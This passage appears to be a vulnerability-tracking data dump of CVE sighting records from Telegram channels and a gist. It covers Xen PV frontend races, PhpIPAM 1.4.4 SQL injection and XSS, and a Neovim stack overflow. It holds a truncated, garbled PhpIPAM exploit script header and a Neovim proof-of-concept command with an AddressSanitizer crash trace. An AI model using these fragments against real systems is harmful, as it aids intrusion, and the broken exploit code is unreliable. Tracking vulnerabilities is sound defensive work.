"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23041", "type": "seen", "source": "https://t.me/cibsecurity/38737", "content": "\u203c CVE-2022-23040 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:00.000000Z"}, {"uuid": "6140745b-064d-4042-91ff-23b5b657a98d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23040", "type": "seen", "source": "https://t.me/cibsecurity/38737", "content": "\u203c CVE-2022-23040 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:00.000000Z"}, {"uuid": "28147897-5849-474d-89ff-a7ce0ffe0d05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23042", "type": "seen", "source": "https://t.me/cibsecurity/38737", "content": "\u203c CVE-2022-23040 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:13:00.000000Z"}, {"uuid": "f3df221d-91ee-4ce7-8164-9adfdc6f2b96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23041", "type": "seen", "source": "https://t.me/cibsecurity/38736", "content": "\u203c CVE-2022-23036 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:12:59.000000Z"}, {"uuid": "0ecbe22c-b6be-472b-9256-4f09844d9717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23040", "type": "seen", "source": "https://t.me/cibsecurity/38736", "content": "\u203c CVE-2022-23036 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:12:59.000000Z"}, {"uuid": "e5dc1d62-7589-41f3-856a-8815d82efb4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23042", "type": "seen", "source": "https://t.me/cibsecurity/38736", "content": "\u203c CVE-2022-23036 \u203c\n\nLinux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-10T22:12:59.000000Z"}, {"uuid": "b77b7948-3e82-4166-a239-1ce18b2c26a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "seen", "source": "https://t.me/cibsecurity/35902", "content": "\u203c CVE-2022-23046 \u203c\n\nPhpIPAM v1.4.4 allows an authenticated admin user to inject SQL sentences in the \"subnet\" parameter while searching a subnet via app/admin/routing/edit-bgp-mapping-search.php\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-20T00:40:50.000000Z"}, {"uuid": "3f1d5adf-afe8-4d3a-9b44-e8e4fd28846e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23045", "type": "seen", "source": "https://t.me/cibsecurity/35903", "content": "\u203c CVE-2022-23045 \u203c\n\nPhpIPAM v1.4.4 allows an authenticated admin user to inject persistent JavaScript code inside the \"Site title\" parameter while updating the site settings. The \"Site title\" setting is injected in several locations which triggers the XSS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-20T00:40:51.000000Z"}, {"uuid": "c1b5f39a-2e4c-4b3e-a480-30d0359b0370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/11905", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#sql_injection\nName: *CVE-2022-23046*\nGithub: https://github.com/incogbyte/CVE-2022-23046", "creation_timestamp": "2026-07-31T02:00:04.120728Z"}, {"uuid": "ea52c2e0-b8e7-4f07-974e-5d19f7e57f9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "seen", "source": "https://t.me/CVEhub/11905", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#sql_injection\nName: *CVE-2022-23046*\nGithub: https://github.com/incogbyte/CVE-2022-23046", "creation_timestamp": "2026-07-29T12:00:34.750031Z"}, {"uuid": "dcd50887-0157-4b07-8b16-5f080465e01d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "seen", "source": "https://t.me/hacking_Attack/40154", "content": "Exploit Collector\nPHPIPAM 1.4.4 SQL Injection\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nPHPIPAM version 1.4.4 suffers from an authenticated remote SQL injection vulnerability.\n\nMD5 | 4b8d5d6218feb96b1ddd63205a5b1750\n\nDownload\n# Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)\n# Google Dork: [if applicable]\n# Date: 20/01/2022\n# Exploit Author: Rodolfo \"Inc0gbyt3\" Tavares\n# Vendor Homepage: https://github.com/phpipam/phpipam\n# Software Link: https://github.com/phpipam/phpipam\n# Version: 1.4.4\n# Tested on: Linux/Windows\n# CVE : CVE-2022-23046\n\nimport requests\nimport sys\nimport argparse\n\n################\n\"\"\"\nAuthor of exploit: Rodolfo 'Inc0gbyt3' Tavares\nCVE: CVE-2022-23046\nType: SQL Injection\n\nUsage:\n\n$ python3 -m pip install requests\n$ python3 exploit.py -u http://localhost:8082 -U  Users and hash passwords: \\n\\n{r.text}\")\nprint(\"\\n\\n> DONE \nexcept Exception as e:\nprint(f\"[-] {e}\")\nif __name__ == '__main__':\nexploit_sqli()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:58.750445Z"}, {"uuid": "3aa51c4c-672d-4658-9344-2f5c4fc43331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23046", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40154", "content": "Exploit Collector\nPHPIPAM 1.4.4 SQL Injection\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nPHPIPAM version 1.4.4 suffers from an authenticated remote SQL injection vulnerability.\n\nMD5 | 4b8d5d6218feb96b1ddd63205a5b1750\n\nDownload\n# Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)\n# Google Dork: [if applicable]\n# Date: 20/01/2022\n# Exploit Author: Rodolfo \"Inc0gbyt3\" Tavares\n# Vendor Homepage: https://github.com/phpipam/phpipam\n# Software Link: https://github.com/phpipam/phpipam\n# Version: 1.4.4\n# Tested on: Linux/Windows\n# CVE : CVE-2022-23046\n\nimport requests\nimport sys\nimport argparse\n\n################\n\"\"\"\nAuthor of exploit: Rodolfo 'Inc0gbyt3' Tavares\nCVE: CVE-2022-23046\nType: SQL Injection\n\nUsage:\n\n$ python3 -m pip install requests\n$ python3 exploit.py -u http://localhost:8082 -U  Users and hash passwords: \\n\\n{r.text}\")\nprint(\"\\n\\n> DONE \nexcept Exception as e:\nprint(f\"[-] {e}\")\nif __name__ == '__main__':\nexploit_sqli()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T12:00:05.804127Z"}, {"uuid": "c63300c6-b848-452a-b03a-60ddd333f53f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2304", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/28343f25e5338cf1b3a275a29d5fc13d", "content": "Command:\n./nvim-0.7.2 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu R()\n\nline 4: no0 0a0zW0000000\n\nline 5: cal R()\n\ncalling function R()\n\nline 1: sil!norm^V0z=0^X^K\n\nfunction R returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2304/CVE-2022-2304\n\nline 6: sil0norm0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n\nline 7: cal R()\n\ncalling function R()\n\nline 1: sil!norm^V0z=0^X^K\n=================================================================\n==16054==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcc77432b8 at pc 0x000000f74915 bp 0x7ffcc7742e90 sp 0x7ffcc7742e88\nWRITE of size 4 at 0x7ffcc77432b8 thread T0\n    #0 0xf74914 in spell_dump_compl /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:7064:27\n    #1 0x78674d in ins_compl_dictionaries /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:3026:7\n    #2 0x781ac0 in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4347:9\n    #3 0x759bbd in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4811:21\n    #4 0x7548fc in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5438:7\n    #5 0x769448 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1392:7\n    #6 0x76bf32 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1246:9\n    #7 0x743faf in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:840:10\n    #8 0xfc9265 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:89:26\n    #9 0x748413 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:496:5\n    #10 0x74207d in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1472:3\n    #11 0xc92548 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7265:7\n    #12 0xc776a1 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7242:5\n    #13 0xc6b391 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #14 0xc67ca6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7637:9\n    #15 0x96cac0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8748:5\n    #16 0x96c806 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8731:3\n    #17 0x9852fa in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8663:7\n    #18 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #19 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #20 0x8b4196 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #21 0x8b0d03 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #22 0x8aeb05 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #23 0x8c9824 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #24 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #25 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #26 0x92ab1f in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #27 0x928292 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #28 0x928310 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #29 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #30 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #31 0x939fa3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #32 0xb2567e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1848:5\n    #33 0xb1aefb in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:522:5\n    #34 0x7ff8c287a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #35 0x461f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x461f7d)\n\nAddress 0x7ffcc77432b8 is located in stack of thread T0 at offset 1048 in frame\n    #0 0xf7340f in spell_dump_compl /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:6916\n\n  This frame has 3 object(s):\n    [32, 1048) 'arridx' (line 6919) <== Memory access at offset 1048 overflows this variable\n    [1184, 2200) 'curi' (line 6920)\n    [2336, 2590) 'word' (line 6921)\nHINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork\n      (longjmp and C++ exceptions *are* supported)\nSUMMARY: AddressSanitizer: stack-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:7064:27 in spell_dump_compl\nShadow bytes around the buggy address:\n  0x100018ee0600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x100018ee0650: 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2\n  0x100018ee0660: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00\n  0x100018ee0670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee0690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100018ee06a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==16054==ABORTING\n\n\n\n\nCommand:\n./nvim-0.5.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu R()\n\nline 4: no0 0a0zW0000000\n\nline 5: cal R()\n\ncalling function R()\n\nline 1: sil!norm^V0z=0^X^K\n\nfunction R returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2304/CVE-2022-2304\n\nline 6: sil0norm0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n\nline 7: cal R()\n\ncalling function R()\n\nline 1: sil!norm^V0z=0^X^K\n=================================================================\n==16120==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffc759c5b8 at pc 0x000000e94e45 bp 0x7fffc759c190 sp 0x7fffc759c188\nWRITE of size 4 at 0x7fffc759c5b8 thread T0\n    #0 0xe94e44 in spell_dump_compl /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:6841:27\n    #1 0x7268ad in ins_compl_dictionaries /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:2952:7\n    #2 0x722fd6 in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4203:7\n    #3 0x6fbbc1 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4652:21\n    #4 0x6f6b62 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5272:7\n    #5 0x70b141 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1334:7\n    #6 0x70da1e in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1189:9\n    #7 0x6e654a in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:810:10\n    #8 0xee9094 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:69:26\n    #9 0x6ea759 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:489:5\n    #10 0x6e4753 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1413:3\n    #11 0xbf40f8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7729:7\n    #12 0xbd9401 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7701:5\n    #13 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #14 0xbca1f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #15 0x8ff380 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8513:5\n    #16 0x8ff0c6 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8496:3\n    #17 0x918a3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8424:7\n    #18 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #19 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #20 0x844f26 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1124:5\n    #21 0x841b06 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1568:11\n    #22 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #23 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #24 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #25 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #26 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #27 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #28 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #29 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #30 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #31 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #32 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #33 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #34 0x7ffa26f3a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #35 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x45de8d)\n\nAddress 0x7fffc759c5b8 is located in stack of thread T0 at offset 1048 in frame\n    #0 0xe9393f in spell_dump_compl /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:6699\n\n  This frame has 3 object(s):\n    [32, 1048) 'arridx' (line 6702) <== Memory access at offset 1048 overflows this variable\n    [1184, 2200) 'curi' (line 6703)\n    [2336, 2590) 'word' (line 6704)\nHINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork\n      (longjmp and C++ exceptions *are* supported)\nSUMMARY: AddressSanitizer: stack-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:6841:27 in spell_dump_compl\nShadow bytes around the buggy address:\n  0x100078eab860: 00 00 